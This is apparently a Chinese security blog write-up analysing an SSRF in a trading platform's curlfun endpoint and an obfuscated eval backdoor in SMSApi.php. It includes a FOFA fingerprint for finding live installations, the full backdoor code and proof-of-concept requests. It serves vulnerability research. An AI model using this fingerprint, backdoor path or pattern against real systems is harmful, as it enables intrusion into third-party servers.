记:一次多语言微交易多行情盘漏洞分析

xhys121zero2024-12-16文章来源:SecHub网络安全社区


记:一次多语言微交易多行情盘漏洞分析

资产测绘

fofa:

"/static/index/login/app.f8729b16.js" 

image-20240910193147043

ssrf漏洞分析

进入到application/index/controller/Api.phpcurlfun方法中

image-20240910193543967

分析:该方法首先是设置了一个空数组$header,用于存储HTTP请求头;设置了一个包含curl选项的数组包含了超时时间、成功执行后返回传输的数据等内容,之后就是对请求方法的判断,如果是GET请求将参数拼接到 URL 后面,并设置 CURLOPT_URL 选项,若是POST请求将参数编码为查询字符串,设置 CURLOPT_URL 为 URL,CURLOPT_POST 为 1(表示进行 POST 请求),并设置 CURLOPT_POSTFIELDS 为编码后的参数。

接着就是使用 curl_init() 初始化一个新的 cURL 会话, curl_setopt_array()方法设置curl选项里面(包含了我们的url参数内容),接着就是curl_exec() 方法执行 cURL 会话并获取响应数据

总结

在该方法中其中的url参数是我们可以控制的并且整个创建会话到执行会话没有对该参数进行严格的过滤与限制进而造成了ssrf攻击

鸡肋的开发者后门

extend/dayu2.0/lib/Api/Sms/Request/V20170525/SMSApi.php中仔细一看这似乎是开发者留下的一个鸡肋的后门文件

image-20240910200824320

我们仔细分析一下该后门文件

<?php function UnWA(){ $_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6);//创建了一个由下划线开始的字符串,后面跟着四个通过异或操作生成的字符 return $_1; } function FExc($user) { $_x=null;//创建一个空的变量 eval("\n".$user.$_x);//将获取到的user参数与前面创建的空变量拼接作为eval函数的参数 } $_2=${UnWA()}[1233];//调用 UnWA 函数并使用数组下标 [1233] 来获取一个值 $_2_1 = base64_decode($_2);//将该值进行base64解码 $_3=null; $_4=$_3.$_2_1;//将$_3与base64解码的内容进行拼接得到$_4 FExc($_4);//最后调用FExc方法 ?>

**分析:**在FExc函数中会执行eval方法这是一个很危险的方法,只要我们变量可以控制那么我们就可以利用该漏洞,在上述代码中我们可以对1233下标传入一个base64编码的恶意poc进而调用FExc函数下的eval方法,实现漏洞的利用

漏洞实战

ssrf漏洞复现

poc

http://xxx.xxx.xxx.xxx/index.php/index/Api/curlfun?url=http://www.baidu.com

发现成功跳转到了百度

image-20240910193003977

后门漏洞复现

phpinfo();进行base64编码得到cGhwaW5mbygpOw==

image-20240910202226925

访问http://ip/extend/dayu2.0/lib/Api/Sms/Request/V20170525/SMSApi.php路由post对1233传入恶意poc发现成功显示phpinfo页面

image-20240910202439287